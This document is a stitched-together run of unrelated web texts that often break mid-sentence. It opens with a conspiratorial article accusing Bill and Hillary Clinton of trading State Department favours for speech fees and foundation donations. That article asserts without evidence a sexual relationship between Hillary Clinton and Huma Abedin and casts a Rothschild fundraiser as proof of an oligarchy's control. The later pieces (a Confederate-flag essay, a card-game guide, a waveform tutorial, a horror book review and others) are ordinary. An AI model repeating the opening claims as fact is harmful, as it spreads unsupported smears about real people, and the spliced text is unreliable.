Bill Clinton biggest payday for his speeches came from Swedish Telecom Company Ericsson. In 2009-10 Eriksson was in trouble with Hillary’s State Department. Ericsson was selling a lot of telecom equipment to Iran, Belarus and other ‘oppressive’ governments’. The State Department was concerned. Ericsson was risking being put on a list at the State Department for the Trading with the Enemies Act. There was a push in Washington DC to ban the sales of the very products that Ericsson was selling to the Iranian government.
It was against this background that Ericsson decided to hire Bill Clinton to give a speech. They paid him $750,000 to give a speech, they had never hired him before. Seven days after the speech, Hillary Clinton came out with the speech that the State Department was not going to broaden sanctions on Iran to include Telecoms. They were going to rely on companies like Eriksson to police themselves.
Erikson was able to avoid and regulatory battle in Washington DC, and giving up lucrative contracts it had with the Iranian government. Or be put on a restrictive trading list all because they paid Hillary off by getting Bill to give a speech.
Frank Giustra in a Canadian who has huge mining interests around the world. He is also a major contributor to the Clinton Foundation. In June of 2010 Bill Clinton and Frank Giustra flies to Bogota, Columbia. Secretary of State Hillary Clinton just happened to be there at the same time. Bill Clinton has a breakfast meeting with outgoing Columbian President Álvaro Uribe Vélez. Then Secretary of State Hillary Clinton has a lunch meeting with him. She grants him several favours including technical agreements the Columbian Government wants.
In the days that follow Frank Giustra gave three companies, Petroamerica, Prima Columbia Hardwood Inc. and Pacific Rubiales Energy lucrative contracts. They all get major concessions from the government. One of those companies Prima Columbia Hardwood Inc. got a concession to cut timber in a rainforest of Columbia along the Pacific Coast. That timber was intended for export to China.
There was outrage in Columbia, the new President, Juan Manuel Santos Calderón, yanked the authority. However not before Frank Giustra turned a profit.
Bill Clinton flew to Kazakhstan in 2005 with Frank Giustra. Since the collapse of the Soviet, Union Kazakhstan had been run by President Nursultan Nazarbayev. Frank Giustra wanted access to the Kazakhstan uranium mines, they are one of the largest producers of uranium in the world. Nursultan Nazarbayev maintains power by bloodshed and torture, yet Clinton praised their human rights record saying Kazakhstan should head up a human rights organisation.
A two days after their meeting, Frank Giustra got Kazakhstan’s uranium concessions worth millions of dollars. After that Bill Clinton got $30 million off Frank Giustra, the first payment of what would become more than $100 million in payments, pledges, and commitments.
The Kremlin sees its domination over the world uranium market as a source of national power. Frank Giustra took the uranium concession he got in Kazakhstan and puts it into a company in a reverse merger, which is one way for a company to go public. He created a company called Uranium One which is listed on the Canadian Stock Market. Uranium One started acquiring uranium concessions in places like New Mexico, Texas, Utah, and Wyoming. By 2009 they had what was expected to be more than 50% of the uranium manufacture in the United States.
This got the Vladimir Putin and Russian interested. There are documents leaked through WikiLeaks that show that Hillary Clinton was aware of Uranium One’s activities. The Russian wanted to buy this interest so they offer 40% over the price of share of the stock. Because uranium is regarded as a critical industry in the United States a sale of this nature requires government approval. After all, uranium is used for civilian nuclear reactors and goes into nuclear weapons.
The sale goes before the Federal Government where it needs to be signed off by a series of federal agencies including the Secretary of State Hillary Clinton. As Hillary Clinton is contemplating the sale, shareholders including Frank Giustra have sent more than $145 million to the Clinton Foundation. The Chairman of Uranium One, Ian Telfer haves sent donations to the Clinton Foundation as has Frank Holmes another major shareholder.
Hillary Clinton, who has a history of not sell out on these deals, decided to let Vladimir Putin take control of 20% of America’s uranium holdings.
Bill Clinton and Hillary Clinton are able to pull off such a deal because the media constantly paints them in such a positive light.
There is a small Canadian investment firm called Salida Capital in 2010, committed to giving millions of dollars to The Clinton Foundation and they also sponsored a speech by Bill Clinton. Salida Capital is also the name of the wholly owned subsidiary of Rosatom.
Rosatom is the government agency in Russia that control the nuclear arsenal and that built nuclear reactors in Iran and engages in nuclear technology exchanges with countries like North Korea.
What this means is the Russian Government through Rosatom was funnelling money through a subsidiary to the Clinton Foundation.
Four months before Hillary Clinton’s State Department would sign off on the sale for Uranium One Bill Clinton got paid $500 thousand to give a single speech in Moscow. He was being paid by a firm call Renaissance Capital IPO Home, which has a long history of a relationship with Russian intelligence.
Hillary Rodham Clinton, Secretary of State, 9th December 2009 “Greetings from Washington. I want to thank all of you for your work to root out corruption that weakens economic development, feeds black markets and organised crime, and undermines the promise of democracy...
As we work together to eradicate corruption in our own countries, we should also maintain the highest standards of transparency and accountability in our development efforts around the world. Corruption in emerging markets and fragile democracies undermines the confidence of citizens and investors alike, while responsible governance helps to foster sustainable economic development and political stability.”
Follow the money, enormous amounts of money have flowed to the Clinton’s, from foreign governments, foreign financier and businesses. Some of it lands in their pocket, some lands in their foundation. It’s a pattern we see over and over again all around the world. It’s not a coincidence, money exchanges hands, and favours are done. Look at American history.
The biggest un-kept story in Washington Dc is that Hillary Clinton is a lesbian or at least bi-sexual. Huma Mahmood Abedin is an American political staffer who was vice chair of Hillary Clinton's 2016 campaign for President of the United States. She is also Hillary’s lover.
Providing, even more, proof that Hillary Clinton is simply a puppet for the ruling oligarchy, Hillary Clinton attended a $100,000-a-head fundraiser hosted by lady Lynn Forester de Rothschild. Wife of Sir Evelyn de Rothschild.
(Bill Clinton: His Life) / (The Clinton Chronicles: directed by Patrick Matrisciana, produced by Larry Nichols) / (Glittering Steel – M A Taylor – Clinton Cash – Everything is for Sale)
PART 1 / PART 2 / PART 4As a child raised in the South, my family and I occasionally spent the Fourth of July at Stone Mountain — a giant quartz rock in Northeast Atlanta carved with a three-acre mural of three Confederate heroes. At the time I never thought much about the absurdity of watching colored laser lights dance across carvings of Jefferson Davis, Stonewall Jackson and Robert E. Lee while listening to the bluegrass classic “The Devil Went Down to Georgia” — all to celebrate Independence Day.
In the 1980s it was unimaginable that there would be anything like the current backlash against the Confederate flag. If not quite ubiquitous, Confederate flags were a common enough sighting on porches, bumper stickers and even bikinis, and the Georgia state flag back then featured the Confederate battle flag. Growing up in Georgia, especially as a child of Indian immigrants, I learned that it’s possible to hold contradictory ideas in your head at once — that people can feel affection for a South that tried to break away from the country for which they feel fervently patriotic.
By contrast, Germany, where I now live, entertains no such subtlety. Immediately after World War Two the government confronted its crimes by banning the public the use and distribution of all Nazi symbols. Displaying a swastika and performing the Hitler salute became illegal and disappeared from public life. The Bavarian government, which owns the copyright to Hitler’s manifesto Mein Kampf until the end of this year, banned its publication. In the 1990s, when right-wing groups instead took up the Imperial War Flag as their banner, many German states swiftly stamped out its spread the way they knew best — with more regulations against its public display.
It’s impossible to compare the atrocities of the Holocaust and destruction left by World War Two with those of slavery and the American Civil War. Such horrors have no peers and leave their own particular stain.
But it has taken a century and a half for many in the Southern United States to finally acknowledge the influence that the Confederate flag has on its society. When South Carolina lowered the flag at its statehouse on Friday, Governor Nikki Haley tweeted “It’s a new day in South Carolina” and the National Association for the Advancement of Colored People ended its 15-year economic boycott of the state.
In Germany, meanwhile, the power of symbols has long since been recognized. Even privately displaying any sign of right-wing ideology such as a swastika makes people here social outcasts. It’s such a sensitive topic that a company would have public support if it fired an employee who keeps a Nazi flag in his home.
“Symbols do matter,” Adam Kerpel-Fronius, a Berlin-based historian at the Foundation Memorial to the Murdered Jews of Europe, told me over the phone. “They change how people relate to an ideology.” He points to Hungary, where no such bans on Nazi propaganda exist, as an example of what happens when there is no clear line between what is and is not acceptable. In Hungary the current right-wing government is resurrecting symbols of its Nazi-sympathizing past in the name of patriotism, and people openly display stickers showing a Hungarian map with borders that existed before the country lost most of its territory in 1920.
“What are these people trying to say?” said Kerpel-Fronius, who is originally from Hungary. “Does this mean they want Hungary to wage war on its neighbors?”
Even if they’re not advocating for war, the signal such stickers send is nonetheless pernicious. Nazis understood the power of symbols to stoke anti-Semitism, and the German rejection of those symbols was just as much a rejection of Nazi ideas. Germans believe that banning Nazi symbols will help prevent violent, racist dogma from taking hold again.
In their place, Germany built widespread memorials to the victims of its dark past. Every time I leave my apartment building I see two “Stolpersteine,” or small gold square plaques embedded in the sidewalk to commemorate Holocaust victims.
The discussion over flags and memorials, however, often obscures larger problems — and sweeps the issue of racism from public life. “Sure, they show that the government is on the side of victims and is putting the wrongdoers in the cupboard,” says Simone Rafael at the Amadeu Antonio Foundation, which supports projects to fight neo-Nazism. “But it doesn’t do anything to address fundamental racism.”
As evidence Rafael points to recent violence against refugees in some parts of Germany, and a study last year showing that while 2.4 percent of Germans believe in extreme right-wing ideology, about 18 percent are biased against Muslims.
While most Germans have no qualms about openly condemning public displays of bigotry, the private conversation about race tends to be more muddled. For example, the word “race” is taboo in the German language because of the way Nazi propaganda manipulated the term. Yet I recently met someone who referred instead to my “phenotype” and told me that I don’t look American.
And a few years ago, after a breakup, I was having dinner with a German friend and her boyfriend from a small German town. His well-intentioned advice to me: stick to dating other expats because I would have trouble finding a German man who would be comfortable bringing someone who looks like me home to his family.
These experiences show that banishing hateful symbols from public view helps to sustain sensitivity and awareness around the horrors they represent, but getting rid of a flag is hardly a cure-all.
Joe Wilkinson, a Republican Georgia state representative from a Northern Atlanta district, is under no illusion that removing Confederate flag displays would have prevented the South Carolina church shooting. Wilkinson, whose sons attended the same high school as my brother and I, calls himself an “unreconstructed rebel” and refers to the Civil War as the War Between the States. He told me that “I will never turn my back on the Confederacy.”
Still, in 2001 he voted to have the Confederate battle flag removed from Georgia’s state flag. Though the current Georgia state flag is a less obvious homage to the Confederacy, it’s not nearly as charged as the battle flag it replaced. “The fact of the matter is that the battle flag was hijacked and became a symbol of segregation,” said Wilkinson. “It’s now being used for the wrong reasons that I don’t agree with, then or now.”
As a child of immigrants with no family connection to Southern history, seeing the flag everywhere inured me to its impact. Even Governor Haley, another Indian-American woman, said that she only recently realized the pain that the flag caused so many people. For me, it wasn’t until I left Georgia after high school that it occurred to me how wrong it was to have a Confederate battle flag flying on top of the state capital.MSNBC’s Joe Scarborough laid into FBI Director James Comey on MSNBC Tuesday morning.
“I don’t know if you watch the show,” the “Morning Joe” host posed to Lawrence O’Donnell, but “we hammer Trump every day.”
Scarborough noted that “most of us around the table are just dumbfounded by, first of all, the shoddy FBI investigation.”
“And secondly, Jim Comey didn’t have the nerve, he didn’t have the guts,” Scarborough emphatically stated. “And I won’t say what else he didn’t have to say, ‘I’m not indicting her. Thank you.'”
“Instead, he holds a press conference and then tries to explain. It sounds like she’s going to be indicted. He says she’s not indicted,'” he continued. “Then they release notes? No, that’s not how it’s normally done. You either indict her or you don’t indict her, and if you don’t indict her forever hold your peace.”
“We want everyone treated the same,” Scarborough explained. “I don’t think Hillary Clinton was treated the same… [Comey] wanted to have it both ways.”
Follow Datoc on Twitter and FacebookHello! Today I want to talk about how to draft a Combrei deck. Here is an example of a Combrei deck I recently went 7-0 with (you may recognize the image from a previous post):
Combrei’s advantage over other factions is it has the largest units. Awakened Student is the poster child for Combrei in draft. It will usually be the largest unit in play at any given time because it grows as the game progresses. Time has a number of large units such as Xenan Guardian, Towering Terrazon and Amber Monument. Here, they are paired with Justice’s effects to make units bigger like Inspire, Paladin Oathbook, and Gilded Glaive.
When building your deck, you must consider what your plan is and how your opponents will try to deal with that plan. If your plan is large units, their options are use removal, double block, or chump block and race in the air. Most draft decks only have a few removal spells, so as long as we have a sufficient number of threats, we will be able to soak up a couple removal spells in each game; Friendly Wisp also helps us in attrition match-up if we are patient with it. Against double blocking, we want to have a few tricks available, in this case, Finest Hour and Teleport. Against flyers, we want to have some flyers of our own, usually Towertop Patrol, but in this case we are lucky enough to have 2 Silverwing Avengers.
As I mentioned in a previous post, Dispel functions as removal and an answer to flyers when your units are bigger than theirs. Predatory’s Instinct can be early removal with Awakened Student or kill anything in the late game with Towering Terrazon/Xenan Guardian.
Combrei decks reward understanding combat. If your opponent has a 2/3 and a 3/3 and you have a Towering Terrazon in your deck, should you attack? What happens if you wait? This is a complicated question that requires a lot of context to answer. Here are some things to consider in that situation. How many combat tricks are still left in your deck? If you have some, then waiting might be right because you will make those cards better draws. Are they playing Shadow with access to Rapid Shot and hard removal? If so, waiting gets much worse. What is still in your hand? Are you trying to stall the game until you play Forth-Tree Elder or ultimate Xenan Guardian? What are the life totals? If they are ahead on life, what happens if they don’t block and attack back? That might be ok if you have a Scorpion Wasp, but its much worse if you have a Friendly Wisp.
During the draft portion, keep in mind what the deck needs. With Combrei, there is no set pick order. Depending on what you already have, you might take Towering Terrazon, Bold Adventurer, Dispel, or Towertop Patrol ahead of the others on that list. Look at the above list and get a sense for the ratios, the power curve, etc.
Here is another example, this one went 7-2.
This deck is more aggressive than the last one, with 3 Finest Hours and 4 Awakened Students. The 3 Brightmace Paladins can help with racing when paired with the Calvary, Daggers or Safe Return. One interaction that Combrei gets is Safe Return + Predatory’s Instinct. When the unit is replayed, it still has Killer and can kill something else. I don’t always run Safe Return, but when you have several good interactions (Copper Conduit, Brightmace Paladin, Crownwatch Calvary, Desert Marshall) it is worth including.
AdvertisementsThere are, as everyone knows, a lot of people in China; around 1.35 billion of them, or roughly 20 percent of the world's population, live within the country's borders. In order to comprehend what it means for one country to have one-fifth of the world's population, this nifty map (from the indispensable @Amazing_Maps on Twitter) divides the world into five regions, each with the same population of China.
According to the map, we can see that:
The population of China is equivalent to the population of North America, South America, Australia, New Zealand, and all of Western Europe -- combined.
The population of China is equivalent to the combined population of the former Soviet Union, plus Pakistan, Afghanistan, Finland, Poland, Slovakia, Romania, and Hungary. Oh, and all of Southeast Asia, Japan, and both Koreas.
The population of China is equivalent to the population of Africa, the Balkans, and the Middle East put together.
The population of China is equivalent to that of the world's second most populous country, India, plus that of Nepal, Bhutan, and Bangladesh. These facts, based on 2010 census data, are also true: If they were separate countries, five Chinese provinces -- Guangdong, Shandong, Henan, Sichuan, and Jiangsu -- would rank in the world's top 20 in population.
14 of China's 34 provinces and administrative regions have a population greater than that of California, which is the most populous state in the United States.
In 2010, 674 million Chinese people were classified as rural -- a number, though no longer growing, is still more than twice as great as the population of any other country in the world besides China and India.
There are over 160 cities in China with a population over one million people. In the United States, there are nine.
Are you familiar with the Chinese cities of Changzhou, Taizhou, and Zibo? No? Each of them has more people than Chicago does. At various times in history, China has seen its huge population as either an asset or a liability. In the early years of his tenure, Chairman Mao Zedong encouraged Chinese women to bear many children, believing a high population would strengthen the nation -- particularly in the event of a catastrophic conflict. "I'm not afraid of nuclear war," he said in 1957, "China has a population of 600 million; even if half of them are killed, there are still 300 million left."
Nice guy, that Mao.
Just four years after Mao's death in 1976, the Chinese government determined the country's population was too large and growing out of control, so they famously instituted the one-child policy -- altering the country's demographic trajectory yet again. These days, China's problem isn't that there are too many people or too few, but rather that there are too many boys being born for every girl, and that the population is too old.
We want to hear what you think about this article. Submit a letter to the editor or write to letters@theatlantic.com.As developers at Stream, an API for building scalable newsfeeds and activity streams, my colleagues and I have been hard at work on creating Winds 2.0. This version of Winds is an open-source desktop app with support for RSS feeds and easy podcast listening, which we’re building in Electron, React, and Node.js.
For more info on Winds 2.0, check out the announcement blog post.
One of the cool new features of Winds is the waveform functionality. In this blog post, I’ll talk a little bit about what a waveform is exactly and how to go about creating it.
Want to follow along? Check out the source code on GitHub and then see the finished example.
What is a waveform?
A waveform is a visual representation of the volume over time of an audio file – making it pretty easy to pick out the loud/quiet parts of a song or podcast.
For those visual learners, here’s what a waveform looks like:
In Winds 2.0, we’ve created a stylized waveform component that, in addition to showing the volume over time of an audio file, also shows the progress through the current track. Here’s what our designer (who put together the Based UI Kit and Based UI Kit – Mobile) was looking for:
There’s gotta be a library for that…
There is! react-wavesurfer is a React wrapper around wavesurfer.js, which is a JavaScript library for playing and displaying audio files in a browser.
Wavesurfer is an awesome project, but didn’t quite satisfy our requirements. Wavesurfer uses the HTML5 canvas (which wasn’t going to work for us – more on that later!), and it looked like we were going to have to work around a lot of issues integrating the old-school JS library into our new-school React/Redux/Electron app.
We’ve already built the audio player – we just need a waveform renderer…
Winds 2.0 already has a lightweight audio player, which is just a wrapper around react-audio-player. All we need now is a waveform renderer – some kind of component that can take an audio file, and turn it into a waveform.
It’s also important to note that we also need to display the progress on the waveform, so the user knows how many glorious minutes of sultry radio announcer voice they have left before another pledge drive break.
Part 1: Getting Waveform Data
Before we can render a waveform, we have to take the audio data and convert it into a format that we can actually use to put on a page.
Keep in mind that digital audio files are literally just huge arrays of numbers that, when played in sequence quickly enough, sound like a podcast! Or dark incantations, if played in reverse.
In order for us to grab that data and process it, we’ll need to load it into an AudioContext, then use the getChannelData method to grab the array of audio values. Basically, we’re just turning a JS ArrayBuffer into a Float32Array :
View the code on Gist.
View the code on Gist.
The AudioContext object is part of the new Web Audio API, a comparatively new kid on the block for browsers, but is still available in all modern browsers. Totally possible to do this with ffmpeg and other audio libraries if that works better for you!
Also, we’re using axios instead of XMLHttpRequest, just because it’s a teensy bit easier to grok.
For example, if we use the most recent Car Talk episode, #1743 (well, the most recent “Best of” Car Talk episode, because it went off the air in 2012 – RIP Tom) and console.log out the decodedAudioData, I get something that looks a little like this:
View the code on Gist.
So now I have an array of 143,669,376 32-bit floats. The MP3 has a sample rate of 44,100 samples per second, and runs for 54 minutes and 18 seconds — so, math:
( 44100 samples / sec ) * ( 3258 seconds ) = 143,677,800 samples total
Which is pretty close to our array’s 143,669,376 samples. Neat!
Converting the waveform data into something we can render
At the end of this process, I want an array of 100-or-so values from 0 to 1 that I can map to the heights of each bar on the waveform. (I mean, I could try to map all 143,669,376 values to bars on the waveform, but I feel like that might cause some usability problems…)
We’re going to use a bucketing algorithm to generate N buckets – each bin will be a representation of the maximum (or average, or minimum, depending on what you’re looking for) of the volume of that time interval of the audio file.
View the code on Gist.
As you see above, audio data can be negative! That’s just how audio data works – the audio sample can have a value of -1 to 1. However, we don’t want negative values in our waveform, so we’ll just use the maximum value in each bucket.
Our highly stylized waveform doesn’t have to be a 100% precise reproduction of the data in the audio file. We just want an array of 100 bars, each of which indicates the general “loudness” of the audio file in that section.
Here’s the bucketing algorithm:
View the code on Gist.
After running our decodedAudioData (the Float32Array with 143,669,376 samples) through this algorithm with 100 buckets, we get something that looks like this:
View the code on Gist.
Much easier for us to render this to the page!
Part 2: Rendering our waveform
Okay so – now we’ve got our array of 100 |
just fleecing them. She's a good old-fashioned confidence trickster(think THE MUSIC MAN), who tells the marks what they want to hear and robs them blind. She's a polibrity*, not a politician. And when tested, she loses. But does she want to win? Do youthink she'd take the pay cut public office entails now?*If she can make up words, so can I.
Labels: bad ideas, barbie mcmooseburger, right wing, you're patheticWelcome to Freaky Fridays where paperbacks are still on the racks and they’re full of sexy vampires and the even sexier men in leather trench coats who kill them.
If you thought ‘Salem’s Lot needed more automatic weapons, then T. Chris Martindale’s Nightblood is for you. In the Seventies and Eighties the rugged, emotionally repressed tough guy who was equally comfortable with both guns and lovemaking was the leading man of choice. The hottest ticket in male hunkdom was the Vietnam vet because he’d seen such things that he was basically Rutger Hauer at the end of Blade Runner only he didn’t dye his hair. But after Anne Rice’s slim-hipped, glam vampires took over horror in the mid-Eighties they provided horror writers with a template from which all future leading men would be forged, giving rise to a legion of edgy male leads who were conflicted, tormented about their motivations and, when they confronted their nemesis, were subjected to a speech about how they’re both the same underneath the skin.
Martindale saw that trend and said, “Oh, hell no.” He took Anne Rice’s sensitive vampires and machine gunned them into kibble. He set them on fire. He stuck bombs down their pants. His book’s hero? A Vietnam vet dedicated to avenging evil, wearing a trench coat and toting an uzi. A man as reliable as a divorced dad, roaming the country, parking outside lovers lanes and spying on them from his creeper van to, erm, make sure no vampires were about. Or anything. Instead of doubting himself, he was sure of his abilities to kick ass. Instead of worrying about whether gazing into the abyss would turn him into an abyss too, he worried about making pipe bombs. Instead of carrying baggage, he carried an uzi. Ladies, put on your running shoes because this stud is single!
Like most marriage material, Chris Stiles rolls into the town in a van that doubles as his bedroom. The town is Isherwood, IN (pop. 800) and Stiles is there thanks to his ghost brother, Alex. In what might be the most Dagwood sandwich set-up in horror fiction, Alex was torn to pieces by some evil creature in Central Park (“Where’s your body in the park?” Chris shouts to Alex’s ghost. “All over it!” comes the reply), then he appears to Chris in ‘Nam as a ghost buddy who helps him machine gun a dozen VC, then forces him to roam America, hunting whatever EEEVILLL Alex detects, blowing it away with modified shotguns in the hope that eventually, through the law of averages, he’ll wind up murdering whatever killed his brother, thereby freeing his soul. Now Alex has detected EEEVILLL in Isherwood, and Chris is there to shoot it in the face.
Published in 1990, the shadow of ‘Salem’s Lot hangs heavy over this book, right down to the old Marsten, erm, I mean Danner place, an evil old house that squats on the edge of town being all spooky and unpleasant. When Del and Bart (two rambunctious young whippersnappers) break into the house on a dare, they help release Nathan Danner from where he’s been walled up in the basement. The cadaverous vampire attacks them and not even their nunchuks can drive him back until suddenly a little red dot appears on the evil vampire’s face and:
“There was a muffled burping sound from across the yard…The vampire stumbled backward…a large section of its brow and left eye socket were now gone…the machine gun burped again, and the vampire’s face all but ceased to exist. Each round slammed home with deadly efficiency…sending bone shards and tissue spinning into the air like confetti. Its left cheekbone and eye disappeared completely and part of the jaw with them before the red dot strayed to the other side of its face and spread destruction there as well…Another burst tore through its raised right talon and continued the devastation on the face beyond. “Who are you!” it cried again before its lips were torn away and its sharp, yellow teeth scattered across the steps. It wailed and gagged on pieces of itself as it tried to escape.”
Ladies…let me know when you’re back from your cold showers. As a cop says later, observing Chris Stiles in action, he’s “Superior and strong. A born hunter. A killer.”
He’s also “gruff yet vulnerable, like a lost child, searching for something” and the lucky lady who gets to explore this underaged side of him is Billie, mother of Del and Bart, a diner waitress with a heart of gold and a dead husband. She offers the handsome drifter a place to stay, then asks him about his background which prompts him to basically tell her the lyrics of “Born in the USA.” Then he melts her heart when he says, in his soft yet serious voice, that he’s looking for a special woman, “Someone I could talk to.” When they kiss, it sends shock waves coursing through her body, causing her to arch her back, and startling her with its hunger and honesty.
Then there are vampires. “C’mon you fucking pussy. Let’s see what you got,” Stiles snarls at Danner when he finds him in his hotel room later. After they karate each other, Danner squeezes Chris’s nuts until he passes out. As if the pain in his gonads wasn’t bad enough, when he wakes up Danner gives him the whole “You’re just like me” lecture before declaring that Stiles will drink Danner’s blood and turn into a vampire slave and Danner will administer this blood slurpee through his DICK. “He unbuttoned his pants and reached inside. The thing he took in hand was pale and bulbous, like a slug born to darkness.” Before events can get too M4M, Stiles frees himself, grabs his uzi, shoots Danner in the dong, then tries to decapitate him with an entire clip on full auto. Danner runs away, only to reappear later, looking even younger, listening to Bon Jovi, and dressed in a bright red Adidas sweatsuit.
Full of bright yellow T-birds and chicks dressed up in Frederick’s of Hollywood lingerie, this book is from 1990 but it’s Eighties to the Max with Stile’s wicked butterfly knife, his pistol-grip Starlite Scope right out of the Sharper Image catalogue, and red dots from laser sights all over the place. It supersizes ‘Salem’s Lot. Where ‘Salem’s Lot has one dead vampire kid floating in mid-air and scratching at his friend’s window, Nightblood has six. And they’re lugging around their elementary school yearbook crossing out pictures as they eat way through their entire class, like a dim sum menu.
Stiles embraces the mayhem a little too hard, cutting the phone lines and putting up DANGER: PLAGUE signs to keep outsiders from coming into town (“We’ve got to contain this disease,” he barks), then inhaling the scent of the burning town deeply and proclaiming “A battlefield…I’ve come home.” I love the scent of burning vampires in the morning, he practically declares as he races into the final section of the book—Shadow War—with a shotgun in each hand. He teaches the locals to make fragmentation grenades out of shotgun shells the way they once crafted charming dolls out of corn husks, and he keeps blowing up Danner with vampires repurposed into suicide bombers. But the vampires are hard to kill and soon Stiles is holed up in an old folk’s home, keeping them out with black velvet paintings of Jesus and copies of the poem “Footprints.”
Stiles and Danner share a telepathic link but Danner learned to shut down his emotions in ‘Nam so that Charlie couldn’t smell his fear, and that gives him the advantage he needs to bring the war to the vampire king and win a final karate battle against a reanimated skeleton that’s on fire. As the book ends, Stiles is given a vampire-killing katana and vows to keep wandering the land because he wants to keep things mysterious and not get tied down—he has to keep killing monsters for his brother. But Billie uses her womanly wiles to trick him into sticking around, and in that there’s a lesson for ladies everywhere. If your heart is made of gold and you don’t take no for an answer, then you, too, can land a leather trench coated vampire hunter of your very own.
Grady Hendrix has written for publications ranging from Playboy to World Literature Today; his previous novel was Horrorstör, about a haunted IKEA, and his latest novel, My Best Friend’s Exorcism, is basically Beaches meets The Exorcist.I wish I could understand all of Vin Diesel‘s Marvel movie ellipses better, but there’s at least fun to be had in trying to fill in the gaps. It seems like his mouth starts working every time he has a thought about the House of Ideas, and then he catches himself and curbs it off. Great fun, really.
In the video at the foot of this page, for example, he’s giving up a half of all kinds of secrets to Maria Menounos. Here’s my transcript of the Marvel-y bits.
When I met with Marvel it wasn’t for anything immediate, it was to talk about a film that would be introduced in the Phase 3 part of Marvel, not for a few years. You wouldn’t be able to see it for a few years. In my mind, Marvel were doing it right, they were enrolling me at the ground level which is the best way to enrol me. I had heard people over the last year, people saying on the social media page saying “What’s up Vin? Why aren’t you going to Marvel? Why aren’t you doing anything with Marvel? It would be a crime of cinematic history for you not to be in [Marvel movies]” So I was thinking “This Marvel thing is really becoming really important for these people. What can I do? What should I think about?” I get the call, I go down to Marvel. A great meeting. It was even talking about something so big I can’t even talk about because it’s like the merging of brands in a way, which I won’t get into. That was something way, way, way, way, way down the road.
Later, he explains how he was put on the spot at Comic-Con. I was in Hall H when a fan asked him about his meetings with Marvel. This is how it felt from Diesel’s side.
We had agreed not to say anything about the specifics of the meeting. So, now I’ve got the fans who I love more than I love the industry, than I love everybody… I was thinking “I’ve got to be real with them, I’ve got to tell them something” and yet I want to be respectful of people’s process and if people like to do a slow reveal, you know? Quite frankly, it would have been too much to say and it might have been anticlimactic to say “We’re working on something for 2016” and so I just said “You’re going to hear some really big news” and I left at the end of that and it went crazy.
And later, Diesel goes on to confirm that the 2016 project is still happening, and he’s still involved, even while he’s voicing Groot.
The next Monday, Marvel talks to me and says “We’re going to send something over in two weeks. We want to focus on the 2016 but we also want to, if possible, answer this growing request for something now.” I don’t have six months to play a character in the immediate future, it’s all booked… there was no way I was going to be able to deliver… after Comic-Con, we were at a stalemate…
And so Kevin Feige and James Gunn came up with the idea of Diesel playing Groot, wooing him with concept art. That much we’re pretty clear on.
The big mystery here is what on earth this “merging of brands” might be. It sounds outrageous, I’m sure, but… but you don’t suppose Sony are looking to share Diesel with Marvel, maybe? Have him crossover between their Amazing Spider-Man series and the Marvel Movieverse? Because maybe he’d be a great Kingpin.
Or, of course, he might mean something else. Entirely. More realistic. Who knows what he means by “brand,” in truth. Perhaps it’s a TV-movies crossover thing. I can see Diesel starting out as The Punisher on the big screen then running through a mini-series on the small.
All crazy conjecture. We just don’t know. But the prospects and possibilities are obviously real, and seem absolutely wild. “Merging of brands.”
Sometimes I love Vin Diesel and his desire to give to the fans. Everybody say “Thanks, Vin.”
Now here’s the video, with thanks to Perez Hilton, of all people. The Marvel chat kicks off after 50 minutes.
[youtube]http://www.youtube.com/watch?v=Fw4Fg2Y4D2U[/youtube]
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None foundFewer parking lots sprawling the length of football fields, more green space and a reshaped vision of public transit.
Those are just a few of the ways driverless cars could lay the groundwork for widespread changes in how cities are designed, according to a group of Canadian architects and urban planners.
"There's going to be a lot of land that's freed up," suggested Gianpiero Pugliese, principal architect at Audax Architecture, which designs commercial and residential buildings.
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"As a community we will have the opportunity to decide how that's used."
"Driverless City," a panel discussion held Tuesday by the Urban Land Institute of Toronto, offered a rare opportunity for architects involved in projects across the country to debate how the fast-evolving technology will impact cities and their surrounding suburbs.
By far, the biggest focus was on how parking lots and massive garages could start to vanish.
While self-driving vehicles are still in testing stages, there are prototypes from automakers and technology companies already on public roads. It's widely expected that within 10 years driverless cars — or autonomous vehicles as they're known in the industry — will be making their way to the average consumer.
But in a driverless world, people wouldn't necessarily have to stick to old parking habits, the designers suggested. Instead of parking at the office, they could be summoned from a more distant, but centralized parking centre.
Pushing thousands of vehicles away from underground parking at office buildings could alter the dynamics of modern construction, said Antonio Gomez-Palacio, principal of planning and urban design at Dialog, which has designed a number of cultural and government buildings across the country.
"We can start to think of very different ways of doing things and it's going to hugely affect the design process."
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But some of those possibilities also pose major challenges that could squeeze current infrastructure to its breaking point, particularly during rush hour at offices where all of the employees are beckoning their driverless cars, creating a new form of gridlock.
"All of a sudden, every office building at 5 o'clock is going to look like a school zone," Gomez-Palacio said.
Driverless cars will also have a ripple effect on public transportation, he predicted, as more people turn to auto share services in suburban areas where buses have small passenger loads.
"My sense is that public transit agencies are going to start pulling back from suburban and sprawling environments and focusing on mass transit. You're still going to need the subways and rapid transit," he said.
Whether fewer cars end up on the roads is still up for debate. Some members of the panel pointed out that recent surveys found millennials believe car ownership is a low priority.
Stuart Sherman, CEO of IMC Brands, a firm that helps companies use technology to advance their business, said self-driving vehicles raise concerns about energy consumption.
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"I may not choose to park my car, but may choose to have my autonomous car circle the block," he said.
"When a hundred of us do this, it becomes a problem."
Broad impacts on the environment haven't been part of the overall conversation on self-driving vehicles, suggested Gomez-Palacio.
"The bigger question is still how we actually reduce car dependency."I'll admit it, when VR first became a "thing," I was skeptical. The idea of putting on a headset seemed claustrophobic and the promise of truly inhabiting a virtual space felt far away... boy was I wrong. There are precious few opportunities as a creative team to get to explore a truly brand new medium - the mixed reality space is exactly that, and it's magical. Here at 343 Industries, we are just starting to dip our toes into the mixed reality space but we are hugely passionate about the potential to truly explore and play in our universe with this technology.
Recently, Alex Kipman announced in the Windows Mixed Reality blog a fun little arcade experience that we call "Halo Recruit." Let's be clear, this isn't a game or even a part of a game - it is a light introduction to the world of Halo and some of its most iconic characters... oh, and its weapons and maybe a Warthog. The point is, it was a chance for us to start to play with Microsoft's amazing new technology and for you to get to stand toe-to-toe with an Elite (yes, I may have whimpered a little my first time in).
HALO RECRUIT - WINDOWS 10 PC (Windows MR headset required)
Our 5-minute Halo experience is available for fans to try in Microsoft Stores, and as a free download from the Windows Store, on Oct. 17 (you will of course, need to have a Windows MR headset to play). "Halo Recruit" was developed in partnership with our good friends, Endeavor One. Endeavor One is a small powerhouse studio with deep ties to Halo; I'll let you look them up, but it was fantastic to get to experiment in this space with them.
What's next? This was a great opportunity for us to work with Alex and his Windows Mixed Reality team; we're inspired and excited to do more which Alex and Bonnie may have hinted at already ;-). Until then, we invite you to genuinely step into the world of Halo with us with "Halo Recruit."
*NOTE: This article was updated on October 17 to reflect new availability details.Share
